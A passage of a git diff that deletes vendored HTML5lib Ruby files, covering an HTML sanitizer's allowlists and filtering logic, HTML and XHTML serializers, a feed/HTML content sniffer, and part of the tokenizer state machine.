-       marker-mid marker-start markerHeight markerUnits markerWidth
-       mathematical max min name offset opacity orient origin
-       overline-position overline-thickness panose-1 path pathLength points
-       preserveAspectRatio r refX refY repeatCount repeatDur
-       requiredExtensions requiredFeatures restart rotate rx ry slope stemh
-       stemv stop-color stop-opacity strikethrough-position
-       strikethrough-thickness stroke stroke-dasharray stroke-dashoffset
-       stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity
-       stroke-width systemLanguage target text-anchor to transform type u1
-       u2 underline-position underline-thickness unicode unicode-range
-       units-per-em values version viewBox visibility width widths x
-       x-height x1 x2 xlink:actuate xlink:arcrole xlink:href xlink:role
-       xlink:show xlink:title xlink:type xml:base xml:lang xml:space xmlns
-       xmlns:xlink y y1 y2 zoomAndPan]
-
-    ATTR_VAL_IS_URI = Set.new %w[href src cite action longdesc xlink:href xml:base]
-
-    SVG_ATTR_VAL_ALLOWS_REF = Set.new %w[clip-path color-profile cursor fill
-      filter marker marker-start marker-mid marker-end mask stroke]
-
-    SVG_ALLOW_LOCAL_HREF = Set.new %w[altGlyph animate animateColor animateMotion
-      animateTransform cursor feImage filter linearGradient pattern
-      radialGradient textpath tref set use]
-
-    ACCEPTABLE_CSS_PROPERTIES = Set.new %w[azimuth background-color
-      border-bottom-color border-collapse border-color border-left-color
-      border-right-color border-top-color clear color cursor direction
-      display elevation float font font-family font-size font-style
-      font-variant font-weight height letter-spacing line-height overflow
-      pause pause-after pause-before pitch pitch-range richness speak
-      speak-header speak-numeral speak-punctuation speech-rate stress
-      text-align text-decoration text-indent unicode-bidi vertical-align
-      voice-family volume white-space width]
-
-    ACCEPTABLE_CSS_KEYWORDS = Set.new %w[auto aqua black block blue bold both bottom
-      brown center collapse dashed dotted fuchsia gray green !important
-      italic left lime maroon medium none navy normal nowrap olive pointer
-      purple red right solid silver teal top transparent underline white
-      yellow]
-
-    ACCEPTABLE_SVG_PROPERTIES = Set.new %w[fill fill-opacity fill-rule stroke
-      stroke-width stroke-linecap stroke-linejoin stroke-opacity]
-
-    ACCEPTABLE_PROTOCOLS = Set.new %w[ed2k ftp http https irc mailto news gopher nntp
-      telnet webcal xmpp callto feed urn aim rsync tag ssh sftp rtsp afs]
-
-    # subclasses may define their own versions of these constants
-    ALLOWED_ELEMENTS = ACCEPTABLE_ELEMENTS + MATHML_ELEMENTS + SVG_ELEMENTS
-    ALLOWED_ATTRIBUTES = ACCEPTABLE_ATTRIBUTES + MATHML_ATTRIBUTES + SVG_ATTRIBUTES
-    ALLOWED_CSS_PROPERTIES = ACCEPTABLE_CSS_PROPERTIES
-    ALLOWED_CSS_KEYWORDS = ACCEPTABLE_CSS_KEYWORDS
-    ALLOWED_SVG_PROPERTIES = ACCEPTABLE_SVG_PROPERTIES
-    ALLOWED_PROTOCOLS = ACCEPTABLE_PROTOCOLS
-
-    def sanitize_token(token)
-        case token[:type]
-        when :StartTag, :EndTag, :EmptyTag
-          if self.class.const_get("ALLOWED_ELEMENTS").include?(token[:name])
-            if token.has_key? :data
-              attrs = Hash[*token[:data].flatten]
-              attrs.delete_if { |attr,v| !self.class.const_get("ALLOWED_ATTRIBUTES").include?(attr) }
-              ATTR_VAL_IS_URI.each do |attr|
-                val_unescaped = CGI.unescapeHTML(attrs[attr].to_s).gsub(/`|[\000-\040\177\s]+|\302[\200-\240]/,'').downcase
-                if val_unescaped =~ /^[a-z0-9][-+.a-z0-9]*:/ and !self.class.const_get("ALLOWED_PROTOCOLS").include?(val_unescaped.split(':')[0])
-                  attrs.delete attr
-                end
-              end
-              SVG_ATTR_VAL_ALLOWS_REF.each do |attr|
-                attrs[attr] = attrs[attr].to_s.gsub(/url\s*\(\s*[^#\s][^)]+?\)/m, ' ') if attrs[attr]
-              end
-              if SVG_ALLOW_LOCAL_HREF.include?(token[:name]) && attrs['xlink:href'] && attrs['xlink:href'] =~ /^\s*[^#\s].*/m
-                 attrs.delete 'xlink:href'
-              end
-              if attrs['style']
-                attrs['style'] = sanitize_css(attrs['style'])
-              end
-              token[:data] = attrs.map {|k,v| [k,v]}
-            end
-            return token
-          else
-            if token[:type] == :EndTag
-              token[:data] = "</#{token[:name]}>"
-            elsif token[:data]
-              attrs = token[:data].map {|k,v| " #{k}=\"#{CGI.escapeHTML(v)}\""}.join('')
-              token[:data] = "<#{token[:name]}#{attrs}>"
-            else
-              token[:data] = "<#{token[:name]}>"
-            end
-            token[:data].insert(-2,'/') if token[:type] == :EmptyTag
-            token[:type] = :Characters
-            token.delete(:name)
-            return token
-          end
-        when :Comment
-          token[:data] = ""
-          return token
-        else
-          return token
-        end
-    end
-
-    def sanitize_css(style)
-      # disallow urls
-      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
-      # gauntlet
-      return '' unless style =~ /^([-:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*$/
-      return '' unless style =~ /^\s*([-\w]+\s*:[^:;]*(;\s*|$))*$/
-
-      clean = []
-      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop, val|
-        next if val.empty?
-        prop.downcase!
-        if self.class.const_get("ALLOWED_CSS_PROPERTIES").include?(prop)
-          clean << "#{prop}: #{val};"
-        elsif %w[background border margin padding].include?(prop.split('-')[0])
-          clean << "#{prop}: #{val};" unless val.split().any? do |keyword|
-            !self.class.const_get("ALLOWED_CSS_KEYWORDS").include?(keyword) and
-            keyword !~ /^(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)$/
-          end
-        elsif self.class.const_get("ALLOWED_SVG_PROPERTIES").include?(prop)
-          clean << "#{prop}: #{val};"
-        end
-      end
-
-      style = clean.join(' ')
-    end
-  end
-
-  class HTMLSanitizer < HTMLTokenizer
-    include HTMLSanitizeModule
-    def each
-      super do |token|
-        yield(sanitize_token(token))
-      end
-    end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/serializer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/serializer.rb
deleted file mode 100644
index f7187b7b..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/serializer.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'html5/serializer/htmlserializer'
-require 'html5/serializer/xhtmlserializer'
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/serializer/htmlserializer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/serializer/htmlserializer.rb
deleted file mode 100644
index ca5841e7..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/serializer/htmlserializer.rb
+++ /dev/null
@@ -1,179 +0,0 @@
-require 'html5/constants'
-
-module HTML5
-
-  class HTMLSerializer
-
-    def self.serialize(stream, options = {})
-      new(options).serialize(stream, options[:encoding])
-    end
-
-    def escape(string)
-      string.gsub("&", "&amp;").gsub("<", "&lt;").gsub(">", "&gt;")
-    end
- 
-    def initialize(options={})
-      @quote_attr_values           = false
-      @quote_char                  = '"'
-      @use_best_quote_char         = true
-      @minimize_boolean_attributes = true
-
-      @use_trailing_solidus          = false
-      @space_before_trailing_solidus = true
-      @escape_lt_in_attrs            = false
-      @escape_rcdata                 = false
-
-      @omit_optional_tags = true
-      @sanitize           = false
-
-      @strip_whitespace = false
-
-      @inject_meta_charset = true
-
-      options.each do |name, value|
-        next unless instance_variable_defined?("@#{name}")
-        @use_best_quote_char = false if name.to_s == 'quote_char'
-        instance_variable_set("@#{name}", value)
-      end
-
-      @errors = []
-    end
-
-    def serialize(treewalker, encoding=nil)
-      in_cdata = false
-      @errors = []
-
-      if encoding and @inject_meta_charset
-        require 'html5/filters/inject_meta_charset'
-        treewalker = Filters::InjectMetaCharset.new(treewalker, encoding)
-      end
-
-      if @strip_whitespace
-        require 'html5/filters/whitespace'
-        treewalker = Filters::WhitespaceFilter.new(treewalker)
-      end
-
-      if @sanitize
-        require 'html5/filters/sanitizer'
-        treewalker = Filters::HTMLSanitizeFilter.new(treewalker)
-      end
-
-      if @omit_optional_tags
-        require 'html5/filters/optionaltags'
-        treewalker = Filters::OptionalTagFilter.new(treewalker)
-      end
-
-      result = []
-      treewalker.each do |token|
-        type = token[:type]
-        if type == :Doctype
-          doctype = "<!DOCTYPE %s>" % token[:name]
-          result << doctype
-
-        elsif [:Characters, :SpaceCharacters].include? type
-          if type == :SpaceCharacters or in_cdata
-            if in_cdata and token[:data].include?("</")
-              serialize_error("Unexpected </ in CDATA")
-            end
-            result << token[:data]
-          else
-            result << escape(token[:data])
-          end
-
-        elsif [:StartTag, :EmptyTag].include? type
-          name = token[:name]
-          if RCDATA_ELEMENTS.include?(name) and not @escape_rcdata
-            in_cdata = true
-          elsif in_cdata
-            serialize_error(_("Unexpected child element of a CDATA element"))
-          end
-          attributes = []
-          for k,v in attrs = token[:data].to_a.sort
-            attributes << ' '
-
-            attributes << k
-            if not @minimize_boolean_attributes or \
-                (!(BOOLEAN_ATTRIBUTES[name]||[]).include?(k) \
-                and !BOOLEAN_ATTRIBUTES[:global].include?(k))
-              attributes << "="
-              if @quote_attr_values or v.empty?
-                quote_attr = true
-              else
-                quote_attr = (SPACE_CHARACTERS + %w(< > " ')).any? {|c| v.include?(c)}
-              end
-              v = v.gsub("&", "&amp;")
-              v = v.gsub("<", "&lt;") if @escape_lt_in_attrs
-              if quote_attr
-                quote_char = @quote_char
-                if @use_best_quote_char
-                  if v.index("'") and !v.index('"')
-                    quote_char = '"'
-                  elsif v.index('"') and !v.index("'")
-                    quote_char = "'"
-                  end
-                end
-                if quote_char == "'"
-                  v = v.gsub("'", "&#39;")
-                else
-                  v = v.gsub('"', "&quot;")
-                end
-                attributes << quote_char << v << quote_char
-              else
-                attributes << v
-              end
-            end
-          end
-          if VOID_ELEMENTS.include?(name) and @use_trailing_solidus
-            if @space_before_trailing_solidus
-              attributes << " /"
-            else
-              attributes << "/"
-            end
-          end
-          result << "<%s%s>" % [name, attributes.join('')]
-
-        elsif type == :EndTag
-          name = token[:name]
-          if RCDATA_ELEMENTS.include?(name)
-            in_cdata = false
-          elsif in_cdata
-            serialize_error(_("Unexpected child element of a CDATA element"))
-          end
-          end_tag = "</#{name}>"
-          result << end_tag
-
-        elsif type == :Comment
-          data = token[:data]
-          serialize_error("Comment contains --") if data.index("--")
-          comment = "<!--%s-->" % token[:data]
-          result << comment
-
-        else
-          serialize_error(token[:data])
-        end
-      end
-
-      if encoding and encoding != 'utf-8'
-        require 'iconv'
-        Iconv.iconv(encoding, 'utf-8', result.join('')).first
-      else
-        result.join('')
-      end
-    end
-
-    alias :render :serialize
-
-    def serialize_error(data="XXX ERROR MESSAGE NEEDED")
-      # XXX The idea is to make data mandatory.
-      @errors.push(data)
-      if @strict
-        raise SerializeError
-      end
-    end
-
-  end
-
-  # Error in serialized tree
-  class SerializeError < Exception
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/serializer/xhtmlserializer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/serializer/xhtmlserializer.rb
deleted file mode 100644
index 622ee8a2..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/serializer/xhtmlserializer.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'html5/serializer/htmlserializer'
-
-module HTML5
-
-  class XHTMLSerializer < HTMLSerializer
-    DEFAULTS = {
-      :quote_attr_values           => true,
-      :minimize_boolean_attributes => false,
-      :use_trailing_solidus        => true,
-      :escape_lt_in_attrs          => true,
-      :omit_optional_tags          => false,
-      :escape_rcdata               => true
-    }
-
-    def initialize(options={})
-      super(DEFAULTS.clone.update(options))
-    end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/sniffer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/sniffer.rb
deleted file mode 100644
index 6d564fdf..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/sniffer.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module HTML5
-module Sniffer
-  # 4.7.4
-  def html_or_feed str
-    s = str[0, 512] # steps 1, 2
-    pos = 0
-
-    while pos < s.length
-      case s[pos]
-      when ?\t, ?\ , ?\n, ?\r # 0x09, 0x20, 0x0A, 0x0D == tab, space, LF, CR
-        pos += 1
-      when ?< # 0x3C
-        pos += 1
-        if s[pos..pos+2] == "!--" # [0x21, 0x2D, 0x2D]
-          pos += 3
-          until s[pos..pos+2] == "-->" or pos >= s.length
-            pos += 1
-          end
-          pos += 3
-        elsif s[pos] == ?! # 0x21
-          pos += 1
-          until s[pos] == ?> or pos >= s.length # 0x3E
-            pos += 1 
-          end
-          pos += 1
-        elsif s[pos] == ?? # 0x3F
-          until s[pos..pos+1] == "?>" or pos >= s.length # [0x3F, 0x3E]
-            pos +=  1
-          end
-          pos += 2
-        elsif s[pos..pos+2] == "rss"   # [0x72, 0x73, 0x73]
-          return "application/rss+xml"
-        elsif s[pos..pos+3] == "feed"  # [0x66, 0x65, 0x65, 0x64]
-          return "application/atom+xml"
-        elsif s[pos..pos+6] == "rdf:RDF" # [0x72, 0x64, 0x66, 0x3A, 0x52, 0x44, 0x46]
-          raise NotImplementedError
-        end
-      else
-        break
-      end
-    end
-    "text/html"
-  end
-end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/tokenizer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/tokenizer.rb
deleted file mode 100644
index dd33e841..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/tokenizer.rb
+++ /dev/null
@@ -1,970 +0,0 @@
-require 'html5/constants'
-require 'html5/inputstream'
-
-module HTML5
-
-  # This class takes care of tokenizing HTML.
-  #
-  # * @current_token
-  #   Holds the token that is currently being processed.
-  #
-  # * @state
-  #   Holds a reference to the method to be invoked... XXX
-  #
-  # * @states
-  #   Holds a mapping between states and methods that implement the state.
-  #
-  # * @stream
-  #   Points to HTMLInputStream object.
-
-  class HTMLTokenizer
-    attr_accessor :content_model_flag, :current_token
-    attr_reader :stream
-
-    # XXX need to fix documentation
-
-    def initialize(stream, options = {})
-      @stream = HTMLInputStream.new(stream, options)
-
-      # Setup the initial tokenizer state
-      @content_model_flag = :PCDATA
-      @state              = :data_state
-      @escapeFlag         = false
-      @lastFourChars      = []
-
-      # The current token being created
-      @current_token = nil
-
-      # Tokens to be processed.
-      @token_queue             = []
-      @lowercase_element_name = options[:lowercase_element_name] != false
-      @lowercase_attr_name    = options[:lowercase_attr_name]    != false
-    end
-
-    # This is where the magic happens.
-    #
-    # We do our usually processing through the states and when we have a token
-    # to return we yield the token which pauses processing until the next token
-    # is requested.
-    def each
-      @token_queue = []
-      # Start processing. When EOF is reached @state will return false
-      # instead of true and the loop will terminate.
-      while send @state
-        yield :type => :ParseError, :data => @stream.errors.shift until @stream.errors.empty?
-        yield @token_queue.shift until @token_queue.empty?
-      end
-    end
-
-    # Below are various helper functions the tokenizer states use worked out.
-  
-    # If the next character is a '>', convert the current_token into
-    # an EmptyTag
-
-    def process_solidus_in_tag
-
-      # We need to consume another character to make sure it's a ">"
-      data = @stream.char
-
-      if @current_token[:type] == :StartTag and data == ">"
-        @current_token[:type] = :EmptyTag
-      else
-        @token_queue << {:type => :ParseError, :data => "incorrectly-placed-solidus"}
-      end
-
-      # The character we just consumed need to be put back on the stack so it
-      # doesn't get lost...
-      @stream.unget(data)
-    end
-
-    # This function returns either U+FFFD or the character based on the
-    # decimal or hexadecimal representation. It also discards ";" if present.
-    # If not present @token_queue << {:type => :ParseError}" is invoked.
-
-    def consume_number_entity(isHex)
-
-      # XXX More need to be done here. For instance, #13 should prolly be
-      # converted to #10 so we don't get \r (#13 is \r right?) in the DOM and
-      # such. Thoughts on this appreciated.
-      allowed = DIGITS
-      radix = 10
-      if isHex
-        allowed = HEX_DIGITS
-        radix = 16
-      end
-
-      char_stack = []
-
-      # Consume all the characters that are in range while making sure we
-      # don't hit an EOF.
-      c = @stream.char
-      while allowed.include?(c) and c != :EOF
-        char_stack.push(c)
-        c = @stream.char
-      end
-
-      # Convert the set of characters consumed to an int.
-      charAsInt = char_stack.join('').to_i(radix)
-
-      if charAsInt == 13
-        @token_queue << {:type => :ParseError, :data => "incorrect-cr-newline-entity"}
-        charAsInt = 10
-      elsif (128..159).include? charAsInt
-        # If the integer is between 127 and 160 (so 128 and bigger and 159
-        # and smaller) we need to do the "windows trick".
-        @token_queue << {:type => :ParseError, :data => "illegal-windows-1252-entity"}
-
-        charAsInt = ENTITIES_WINDOWS1252[charAsInt - 128]
-      end
-
-      if 0 < charAsInt and charAsInt <= 1114111 and not (55296 <= charAsInt and charAsInt <= 57343)
-        if String.method_defined? :force_encoding
-          char = charAsInt.chr('utf-8')
-        else
-          char = [charAsInt].pack('U')
-        end
-      else
-        char = [0xFFFD].pack('U')
-        @token_queue << {:type => :ParseError, :data => "cant-convert-numeric-entity", :datavars => {"charAsInt" => charAsInt}}
-      end
-
-      # Discard the ; if present. Otherwise, put it back on the queue and
-      # invoke parse_error on parser.
-      if c != ";"
-        @token_queue << {:type => :ParseError, :data => "numeric-entity-without-semicolon"}
-        @stream.unget(c)
-      end
-
-      return char
-    end
-
-    def consume_entity(from_attribute=false)
-      char = nil
-      char_stack = [@stream.char]
-      if SPACE_CHARACTERS.include?(char_stack[0]) or [:EOF, '<', '&'].include?(char_stack[0])
-        @stream.unget(char_stack)
-      elsif char_stack[0] == '#'
-        # We might have a number entity here.
-        char_stack += [@stream.char, @stream.char]
-        if char_stack[0 .. 1].include? :EOF
-          # If we reach the end of the file put everything up to :EOF
-          # back in the queue
-          char_stack = char_stack[0...char_stack.index(:EOF)]
-          @stream.unget(char_stack)
-          @token_queue << {:type => :ParseError, :data => "expected-numeric-entity-but-got-eof"}
-        else
-          if char_stack[1].downcase == "x" and HEX_DIGITS.include? char_stack[2]
-            # Hexadecimal entity detected.
-            @stream.unget(char_stack[2])
-            char = consume_number_entity(true)
-          elsif DIGITS.include? char_stack[1]
-            # Decimal entity detected.
-            @stream.unget(char_stack[1..-1])
-            char = consume_number_entity(false)
-          else
-            # No number entity detected.
-            @stream.unget(char_stack)
-            @token_queue << {:type => :ParseError, :data => "expected-numeric-entity"}
-          end
-        end
-      else
-        # At this point in the process might have named entity. Entities
-        # are stored in the global variable "entities".
-        #
-        # Consume characters and compare to these to a substring of the
-        # entity names in the list until the substring no longer matches.
-        filteredEntityList = ENTITIES.keys
-        filteredEntityList.reject! {|e| e[0].chr != char_stack[0]}
-        entityName = nil
-
-        # Try to find the longest entity the string will match to take care
-        # of &noti for instance.
-        while char_stack.last != :EOF
-          name = char_stack.join('')
-          if filteredEntityList.any? {|e| e[0...name.length] == name}
-            filteredEntityList.reject! {|e| e[0...name.length] != name}
-            char_stack.push(@stream.char)
-          else
-            break
-          end
-
-          if ENTITIES.include? name
-            entityName = name
-            break if entityName[-1] == ';'
-          end
-        end
-
-        if entityName != nil
-          char = ENTITIES[entityName]
-
-          # Check whether or not the last character returned can be
-          # discarded or needs to be put back.
-          if entityName[-1] != ?;
-            @token_queue << {:type => :ParseError, :data => "named-entity-without-semicolon"}
-          end
-
-          if entityName[-1] != ";" and from_attribute and
-             (ASCII_LETTERS.include?(char_stack[entityName.length]) or
-              DIGITS.include?(char_stack[entityName.length]))
-            @stream.unget(char_stack)
-            char = '&'
-          else
-            @stream.unget(char_stack[entityName.length..-1])
-          end
-        else
-          @token_queue << {:type => :ParseError, :data => "expected-named-entity"}
-          @stream.unget(char_stack)
-        end
-      end
-      return char
-    end
-
-    # This method replaces the need for "entityInAttributeValueState".
-    def process_entity_in_attribute
-      entity = consume_entity()
-      if entity
-        @current_token[:data][-1][1] += entity
-      else
-        @current_token[:data][-1][1] += "&"
-      end
-    end
-
-    # This method is a generic handler for emitting the tags. It also sets
-    # the state to "data" because that's what's needed after a token has been
-    # emitted.
-    def emit_current_token
-      # Add token to the queue to be yielded
-      token = @current_token
-      if [:StartTag, :EndTag, :EmptyTag].include?(token[:type])
-        if @lowercase_element_name
-          token[:name] = token[:name].downcase
-        end
-        @token_queue << token
-        @state = :data_state
-      end
-      
-    end
-
-    # Below are the various tokenizer states worked out.
-
-    # XXX AT Perhaps we should have Hixie run some evaluation on billions of
-    # documents to figure out what the order of the various if and elsif
-    # statements should be.
-    def data_state
-      data = @stream.char
-
-      if @content_model_flag == :CDATA or @content_model_flag == :RCDATA
-        @lastFourChars << data
-        @lastFourChars.shift if @lastFourChars.length > 4
-      end
-
-      if data == "&" and [:PCDATA,:RCDATA].include?(@content_model_flag) and !@escapeFlag
-          @state = :entity_data_state
-      elsif data == "-" && [:CDATA, :RCDATA].include?(@content_model_flag) && !@escapeFlag && @lastFourChars.join('') == "<!--"
-          @escapeFlag = true
-          @token_queue << {:type => :Characters, :data => data}
-      elsif data == "<" and !@escapeFlag and
-        [:PCDATA,:CDATA,:RCDATA].include?(@content_model_flag)
-          @state = :tag_open_state
-      elsif data == ">" and @escapeFlag and 
-        [:CDATA,:RCDATA].include?(@content_model_flag) and
-        @lastFourChars[1..-1].join('') == "-->"
-          @escapeFlag = false
-          @token_queue << {:type => :Characters, :data => data}
-
-      elsif data == :EOF
-        # Tokenization ends.
-        return false
-
-      elsif SPACE_CHARACTERS.include? data
-        # Directly after emitting a token you switch back to the "data
-        # state". At that point SPACE_CHARACTERS are important so they are
-        # emitted separately.
-        # XXX need to check if we don't need a special "spaces" flag on
-        # characters.
-        @token_queue << {:type => :SpaceCharacters, :data => data + @stream.chars_until(SPACE_CHARACTERS, true)}
-      else
-        @token_queue << {:type => :Characters, :data => data + @stream.chars_until(%w[& < > -])}
-      end
-      return true
-    end
-
-    def entity_data_state
-      entity = consume_entity
-      if entity
-        @token_queue << {:type => :Characters, :data => entity}
-      else
-        @token_queue << {:type => :Characters, :data => "&"}
-      end
-      @state = :data_state
-      return true
-    end
-
-    def tag_open_state
-      data = @stream.char
-      if @content_model_flag == :PCDATA
-        if data == "!"
-          @state = :markup_declaration_open_state
-        elsif data == "/"
-          @state = :close_tag_open_state
-        elsif data != :EOF and ASCII_LETTERS.include? data
-          @current_token = {:type => :StartTag, :name => data, :data => []}
-          @state = :tag_name_state
-        elsif data == ">"
-          # XXX In theory it could be something besides a tag name. But
-          # do we really care?
-          @token_queue << {:type => :ParseError, :data =>       "expected-tag-name-but-got-right-bracket"}
-          @token_queue << {:type => :Characters, :data => "<>"}
-          @state = :data_state
-        elsif data == "?"
-          # XXX In theory it could be something besides a tag name. But
-          # do we really care?
-          @token_queue.push({:type => :ParseError, :data => "expected-tag-name-but-got-question-mark"})
-          @stream.unget(data)
-          @state = :bogus_comment_state
-        else
-          # XXX
-          @token_queue << {:type => :ParseError, :data => "expected-tag-name"}
-          @token_queue << {:type => :Characters, :data => "<"}
-          @stream.unget(data)
-          @state = :data_state
-        end
-      else
-        # We know the content model flag is set to either RCDATA or CDATA
-        # now because this state can never be entered with the PLAINTEXT
-        # flag.
-        if data == "/"
-          @state = :close_tag_open_state
-        else
-          @token_queue << {:type => :Characters, :data => "<"}
-          @stream.unget(data)
-          @state = :data_state
-        end
-      end
-      return true
-    end
-
-    def close_tag_open_state
-      if (@content_model_flag == :RCDATA or @content_model_flag == :CDATA)
-        if @current_token
-          char_stack = []
-
-          # So far we know that "</" has been consumed. We now need to know
-          # whether the next few characters match the name of last emitted
-          # start tag which also happens to be the current_token. We also need
-          # to have the character directly after the characters that could
-          # match the start tag name.
-          (@current_token[:name].length + 1).times do
-            char_stack.push(@stream.char)
-            # Make sure we don't get hit by :EOF
-            break if char_stack[-1] == :EOF
-          end
-
-          # Since this is just for checking. We put the characters back on
-          # the stack.
-          @stream.unget(char_stack)
-        end
-
-        if @current_token and
-          @current_token[:name].downcase == 
-          char_stack[0...-1].join('').downcase and
-          (SPACE_CHARACTERS + [">", "/", "<", :EOF]).include? char_stack[-1]
-          # Because the characters are correct we can safely switch to
-          # PCDATA mode now. This also means we don't have to do it when
-          # emitting the end tag token.
-          @content_model_flag = :PCDATA
-        else
-          @token_queue << {:type => :Characters, :data => "</"}
-          @state = :data_state
-
-          # Need to return here since we don't want the rest of the
-          # method to be walked through.
-          return true
-        end
-      end
-
-      data = @stream.char
-      if data == :EOF
-        @token_queue << {:type => :ParseError, :data => "expected-closing-tag-but-got-eof"}
-        @token_queue << {:type => :Characters, :data => "</"}
-        @state = :data_state
-      elsif ASCII_LETTERS.include? data
-        @current_token = {:type => :EndTag, :name => data, :data => []}
-        @state = :tag_name_state
-      elsif data == ">"
-        @token_queue << {:type => :ParseError, :data => "expected-closing-tag-but-got-right-bracket"}
-        @state = :data_state
-      else
-        # XXX data can be _'_...
-        @token_queue << {:type => :ParseError, :data => "expected-closing-tag-but-got-char", :datavars => {:data => data}}
-        @stream.unget(data)
-        @state = :bogus_comment_state
-      end
-
-      return true
-    end
-
-    def tag_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @state = :before_attribute_name_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-tag-name"}
-        emit_current_token
-      elsif ASCII_LETTERS.include? data
-        @current_token[:name] += data + @stream.chars_until(ASCII_LETTERS, true)
-      elsif data == ">"
-        emit_current_token
-      elsif data == "/"
-        process_solidus_in_tag
-        @state = :before_attribute_name_state
-      else
-        @current_token[:name] += data
-      end
-      return true
-    end
-
-    def before_attribute_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @stream.chars_until(SPACE_CHARACTERS, true)
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "expected-attribute-name-but-got-eof"}
-        emit_current_token
-      elsif ASCII_LETTERS.include? data
-        @current_token[:data].push([data, ""])
-        @state = :attribute_name_state
-      elsif data == ">"
-        emit_current_token
-      elsif data == "/"
-        process_solidus_in_tag
-      else
-        @current_token[:data].push([data, ""])
-        @state = :attribute_name_state
-      end
-      return true
-    end
-
-    def attribute_name_state
-      data = @stream.char
-      leavingThisState = true
-      emitToken = false
-      if data == "="
-        @state = :before_attribute_value_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-attribute-name"}
-        @state = :data_state
-        emitToken = true
-      elsif ASCII_LETTERS.include? data
-        @current_token[:data][-1][0] += data + @stream.chars_until(ASCII_LETTERS, true)
-        leavingThisState = false
-      elsif data == ">"
-        # XXX If we emit here the attributes are converted to a dict
-        # without being checked and when the code below runs we error
-        # because data is a dict not a list
-        emitToken = true
-      elsif SPACE_CHARACTERS.include? data
-        @state = :after_attribute_name_state
-      elsif data == "/"
-        process_solidus_in_tag
-        @state = :before_attribute_name_state
-      else
-        @current_token[:data][-1][0] += data
-        leavingThisState = false
-      end
-
-      if leavingThisState
-        # Attributes are not dropped at this stage. That happens when the
-        # start tag token is emitted so values can still be safely appended
-        # to attributes, but we do want to report the parse error in time.
-        if @lowercase_attr_name
-            @current_token[:data][-1][0] = @current_token[:data].last.first.downcase
-        end
-        @current_token[:data][0...-1].each {|name,value|
-          if @current_token[:data].last.first == name
-            @token_queue << {:type => :ParseError, :data => "duplicate-attribute"}
-            break # don't report an error more than once
-          end
-        }
-        # XXX Fix for above XXX
-        emit_current_token if emitToken
-      end
-      return true
-    end
-
-    def after_attribute_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @stream.chars_until(SPACE_CHARACTERS, true)
-      elsif data == "="
-        @state = :before_attribute_value_state
-      elsif data == ">"
-        emit_current_token
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "expected-end-of-tag-but-got-eof"}
-        emit_current_token
-      elsif ASCII_LETTERS.include? data
-        @current_token[:data].push([data, ""])
-        @state = :attribute_name_state
-      elsif data == "/"
-        process_solidus_in_tag
-        @state = :before_attribute_name_state
-      else
-        @current_token[:data].push([data, ""])
-        @state = :attribute_name_state
-      end
-      return true
-    end
-
-    def before_attribute_value_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @stream.chars_until(SPACE_CHARACTERS, true)
-      elsif data == "\""
-        @state = :attribute_value_double_quoted_state
-      elsif data == "&"
-        @state = :attribute_value_unquoted_state
-        @stream.unget(data);
-      elsif data == "'"
-        @state = :attribute_value_single_quoted_state
-      elsif data == ">"
-        emit_current_token
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "expected-attribute-value-but-got-eof"}
-        emit_current_token
-      else
-        @current_token[:data][-1][1] += data
-        @state = :attribute_value_unquoted_state
-      end
-      return true
-    end
-
-    def attribute_value_double_quoted_state
-      data = @stream.char
-      if data == "\""
-        @state = :before_attribute_name_state
-      elsif data == "&"
-        process_entity_in_attribute
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-attribute-value-double-quote"}
-        emit_current_token
-      else
-        @current_token[:data][-1][1] += data + @stream.chars_until(["\"", "&"])
-      end
-      return true
-    end
-
-    def attribute_value_single_quoted_state
-      data = @stream.char
-      if data == "'"
-        @state = :before_attribute_name_state
-      elsif data == "&"
-        process_entity_in_attribute
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-attribute-value-single-quote"}
-        emit_current_token
-      else
-        @current_token[:data][-1][1] += data +\
-          @stream.chars_until(["'", "&"])
-      end
-      return true
-    end
-
-    def attribute_value_unquoted_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @state = :before_attribute_name_state
-      elsif data == "&"
-        process_entity_in_attribute
-      elsif data == ">"
-        emit_current_token
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-attribute-value-no-quotes"}
-        emit_current_token
-      else
-        @current_token[:data][-1][1] += data +  @stream.chars_until(["&", ">","<"] + SPACE_CHARACTERS)
-      end
-      return true
-    end
-
-    def bogus_comment_state
